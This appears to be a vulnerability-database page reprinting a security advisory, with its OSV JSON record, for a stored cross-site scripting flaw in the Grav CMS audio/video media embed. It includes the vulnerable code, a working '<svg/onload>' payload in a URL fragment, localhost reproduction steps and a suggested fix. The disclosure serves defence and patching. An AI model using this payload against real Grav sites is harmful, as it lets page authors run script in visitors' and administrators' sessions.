GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-6QW9-4VV5-JR97

Vulnerability from github – Published: 2026-09-17 17:31 – Updated: 2026-09-17 17:32
VLAI
Summary
Grav: Stored XSS via Markdown audio/video media <source> URL
Details

Target: github.com/getgrav/grav
Affected resource: Grav\Common\Media\Traits\AudioMediaTrait / VideoMediaTrait sourceParsedownElement() — verified on 2.0.13 (latest stable) and develop HEAD 5a7070f
Severity: Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory CVE-2026-42841, same PR:H / S:C / C:H / I:L)
Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation)

Summary

A Markdown audio or video embed renders its <source> element as raw HTML with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so ![x](song.mp3#"><svg/onload=alert(1)>) breaks out of <source src="…"> and injects arbitrary HTML — including a script-executing <svg onload> — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.

This is the next sink in the media-parameter injection class the maintainer has been closing: GHSA-r7fx-8g49-7hhr (attribute()), GHSA-pmf8-g7c8-7v54 / CVE-2026-55890 (style(), 2.0.0-rc.9), and GHSA-ffmg-hfvg-jhg9 (resize(), 2.0.0-rc.10). All three guarded image style/attribute sinks; the aba291a5 audit scoped itself to "sinks reaching the style attribute" and did not cover the audio/video <source> rawHtml sink, which reaches full script execution rather than CSS injection.

Root Cause

The audio/video player builds its inner source as Parsedown rawHtml (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — AudioMediaTrait.php L43-52 (identical in VideoMediaTrait.php L58-67):

protected function sourceParsedownElement(array $attributes, $reset = true)
{
    $location = $this->url($reset);
    return [
        'name' => 'audio',
        'rawHtml' => '<source src="' . $location . '">Your browser does not support the audio tag.',
        'attributes' => $attributes
    ];
}

$location includes the URL fragment, which is stored with no encodingMediaObjectTrait::urlHash() L240-249 only strips a leading #. Before that, the excerpt handler decodes the media URL with htmlspecialchars_decode(urldecode(...)), undoing Parsedown's escaping — Excerpts.php L188 — and routes the fragment to urlHash() at Excerpts.php L321-323. So ", <, >, =, (, ) in the fragment survive into the raw <source>.

Two defenses that stop the querystring path do not cover the fragment:

  • The GFM tagfilter — ParsedownGravTrait::filterDisallowedRawHtml() L528-535 — escapes < only for title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext. <svg> and <img> are not on the list, so they inject as live markup.
  • The __call querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (onload=alert(1)) keep their = ( ) and execute.

The image render path is unaffected — an image's src goes into an htmlspecialchars-escaped attribute, not rawHtml.

Steps to Reproduce

Prerequisites

  • PHP >= 8.0 with the built-in web server (verified on 8.5)
  • curl
  • unzip

Step 1: Download Grav 2.0.13 (latest stable, self-contained core)

mkdir -p /tmp/grav-xss && cd /tmp/grav-xss
curl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip
unzip grav.zip

Step 2: Create a page with an audio file and a malicious Markdown embed

cd /tmp/grav-xss/grav
mkdir -p user/pages/03.poc
printf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3
cat > user/pages/03.poc/default.md <<'MD'
---
title: XSS PoC
---
![sound](sound.mp3#"><svg/onload=alert(1)>)
MD

Step 3: Start Grav

php -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php

Leave this running and open a new terminal for the next step.

Step 4: Fetch the rendered page and show the un-escaped injection

for i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done
curl http://127.0.0.1:8390/poc | grep -o '<audio.*</audio>'

Expected output:

<audio controls="controls" alt="sound"><source src="/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#"><svg/onload=alert(1)>">Your browser does not support the audio tag.</audio>

The <source src="…#"> is closed by the injected " and >, and <svg/onload=alert(1)> follows as live markup. Open http://127.0.0.1:8390/poc in a browser: the SVG's onload fires and executes alert(1) (screenshot: a document.body.innerHTML='XSS_…' variant rewriting the page). Video reproduces identically with an .mp4 file and the same fragment.

Suggested Fix

Escape $location with htmlspecialchars() before concatenating it into the <source src="…"> rawHtml in AudioMediaTrait::sourceParsedownElement() and VideoMediaTrait::sourceParsedownElement() (and any other rawHtml media sink), or build the <source> through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in MediaObjectTrait::urlHash() should also be encoded rather than passed through verbatim.

Cleanup

kill %1 2>/dev/null
rm -rf /tmp/grav-xss

Impact

Arbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected <svg onload> runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a no-interaction sink: Grav's body renderer already passes interaction-based <a href="javascript:"> / <form action="javascript:"> raw but escapes auto-firing <img onerror> / <svg onload> on block tags — the audio/video <source> rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.14"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-75831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:31:41Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "**Target:** github.com/getgrav/grav  \n**Affected resource:** `Grav\\Common\\Media\\Traits\\AudioMediaTrait` / `VideoMediaTrait` `sourceParsedownElement()` \u2014 verified on 2.0.13 (latest stable) and `develop` HEAD `5a7070f`  \n**Severity:** Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N \u2014 anchored to the sibling script-XSS advisory [CVE-2026-42841](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr), same PR:H / S:C / C:H / I:L)  \n**Weakness:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n\n## Summary\n\nA Markdown audio or video embed renders its `\u003csource\u003e` element as **raw HTML** with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so `![x](song.mp3#\"\u003e\u003csvg/onload=alert(1)\u003e)` breaks out of `\u003csource src=\"\u2026\"\u003e` and injects arbitrary HTML \u2014 including a script-executing `\u003csvg onload\u003e` \u2014 into the rendered page. Any user who views the page runs the attacker\u0027s JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker\u0027s script.\n\nThis is the next sink in the media-parameter injection class the maintainer has been closing: [GHSA-r7fx-8g49-7hhr](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr) (`attribute()`), [GHSA-pmf8-g7c8-7v54 / CVE-2026-55890](https://github.com/getgrav/grav/security/advisories/GHSA-pmf8-g7c8-7v54) (`style()`, 2.0.0-rc.9), and [GHSA-ffmg-hfvg-jhg9](https://github.com/getgrav/grav/security/advisories/GHSA-ffmg-hfvg-jhg9) (`resize()`, 2.0.0-rc.10). All three guarded image `style`/`attribute` sinks; the [`aba291a5` audit](https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20) scoped itself to \"sinks reaching the style attribute\" and did not cover the audio/video `\u003csource\u003e` rawHtml sink, which reaches full script execution rather than CSS injection.\n\n## Root Cause\n\nThe audio/video player builds its inner source as Parsedown **rawHtml** (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute \u2014 [`AudioMediaTrait.php` L43-52](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/AudioMediaTrait.php#L43-L52) (identical in [`VideoMediaTrait.php` L58-67](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/VideoMediaTrait.php#L58-L67)):\n\n```php\nprotected function sourceParsedownElement(array $attributes, $reset = true)\n{\n    $location = $this-\u003eurl($reset);\n    return [\n        \u0027name\u0027 =\u003e \u0027audio\u0027,\n        \u0027rawHtml\u0027 =\u003e \u0027\u003csource src=\"\u0027 . $location . \u0027\"\u003eYour browser does not support the audio tag.\u0027,\n        \u0027attributes\u0027 =\u003e $attributes\n    ];\n}\n```\n\n`$location` includes the URL fragment, which is stored with **no encoding** \u2014 [`MediaObjectTrait::urlHash()` L240-249](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/MediaObjectTrait.php#L240-L249) only strips a leading `#`. Before that, the excerpt handler decodes the media URL with `htmlspecialchars_decode(urldecode(...))`, undoing Parsedown\u0027s escaping \u2014 [`Excerpts.php` L188](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L188) \u2014 and routes the fragment to `urlHash()` at [`Excerpts.php` L321-323](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L321-L323). So `\"`, `\u003c`, `\u003e`, `=`, `(`, `)` in the fragment survive into the raw `\u003csource\u003e`.\n\nTwo defenses that stop the *querystring* path do not cover the *fragment*:\n\n- The GFM tagfilter \u2014 [`ParsedownGravTrait::filterDisallowedRawHtml()` L528-535](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Markdown/ParsedownGravTrait.php#L528-L535) \u2014 escapes `\u003c` only for `title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext`. `\u003csvg\u003e` and `\u003cimg\u003e` are not on the list, so they inject as live markup.\n- The `__call` querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (`onload=alert(1)`) keep their `=` `(` `)` and execute.\n\nThe image render path is unaffected \u2014 an image\u0027s `src` goes into an htmlspecialchars-escaped attribute, not rawHtml.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- PHP \u003e= 8.0 with the built-in web server (verified on 8.5)\n- curl\n- unzip\n\n### Step 1: Download Grav 2.0.13 (latest stable, self-contained core)\n\n```bash\nmkdir -p /tmp/grav-xss \u0026\u0026 cd /tmp/grav-xss\ncurl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip\nunzip grav.zip\n```\n\n### Step 2: Create a page with an audio file and a malicious Markdown embed\n\n```bash\ncd /tmp/grav-xss/grav\nmkdir -p user/pages/03.poc\nprintf \u0027ID3fakeaudio\u0027 \u003e user/pages/03.poc/sound.mp3\ncat \u003e user/pages/03.poc/default.md \u003c\u003c\u0027MD\u0027\n---\ntitle: XSS PoC\n---\n![sound](sound.mp3#\"\u003e\u003csvg/onload=alert(1)\u003e)\nMD\n```\n\n### Step 3: Start Grav\n\n```bash\nphp -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php\n```\n\nLeave this running and open a new terminal for the next step.\n\n### Step 4: Fetch the rendered page and show the un-escaped injection\n\n```bash\nfor i in $(seq 1 60); do (exec 3\u003c\u003e/dev/tcp/127.0.0.1/8390) 2\u003e/dev/null \u0026\u0026 { exec 3\u003e\u0026-; break; }; sleep 1; done\ncurl http://127.0.0.1:8390/poc | grep -o \u0027\u003caudio.*\u003c/audio\u003e\u0027\n```\n\nExpected output:\n\n```\n\u003caudio controls=\"controls\" alt=\"sound\"\u003e\u003csource src=\"/user/pages/03.poc/sound.mp3?loading=auto\u0026decoding=auto\u0026fetchpriority=auto#\"\u003e\u003csvg/onload=alert(1)\u003e\"\u003eYour browser does not support the audio tag.\u003c/audio\u003e\n```\n\nThe `\u003csource src=\"\u2026#\"\u003e` is closed by the injected `\"` and `\u003e`, and `\u003csvg/onload=alert(1)\u003e` follows as live markup. Open `http://127.0.0.1:8390/poc` in a browser: the SVG\u0027s `onload` fires and executes `alert(1)` (screenshot: a `document.body.innerHTML=\u0027XSS_\u2026\u0027` variant rewriting the page). Video reproduces identically with an `.mp4` file and the same fragment.\n\n## Suggested Fix\n\nEscape `$location` with `htmlspecialchars()` before concatenating it into the `\u003csource src=\"\u2026\"\u003e` rawHtml in `AudioMediaTrait::sourceParsedownElement()` and `VideoMediaTrait::sourceParsedownElement()` (and any other rawHtml media sink), or build the `\u003csource\u003e` through Parsedown\u0027s escaped-attribute mechanism instead of a raw string. The URL fragment in `MediaObjectTrait::urlHash()` should also be encoded rather than passed through verbatim.\n\n## Cleanup\n\n```bash\nkill %1 2\u003e/dev/null\nrm -rf /tmp/grav-xss\n```\n\n## Impact\n\nArbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected `\u003csvg onload\u003e` runs in the viewer\u0027s origin \u2014 a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a **no-interaction** sink: Grav\u0027s body renderer already passes interaction-based `\u003ca href=\"javascript:\"\u003e` / `\u003cform action=\"javascript:\"\u003e` raw but escapes auto-firing `\u003cimg onerror\u003e` / `\u003csvg onload\u003e` on block tags \u2014 the audio/video `\u003csource\u003e` rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author\u2192viewer boundary to safe CSS) left open.",
  "id": "GHSA-6qw9-4vv5-jr97",
  "modified": "2026-09-17T17:32:10Z",
  "published": "2026-09-17T17:31:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-6qw9-4vv5-jr97"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75831"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-stored-xss-via-audio-video-source-url"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: Stored XSS via Markdown audio/video media \u003csource\u003e URL"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…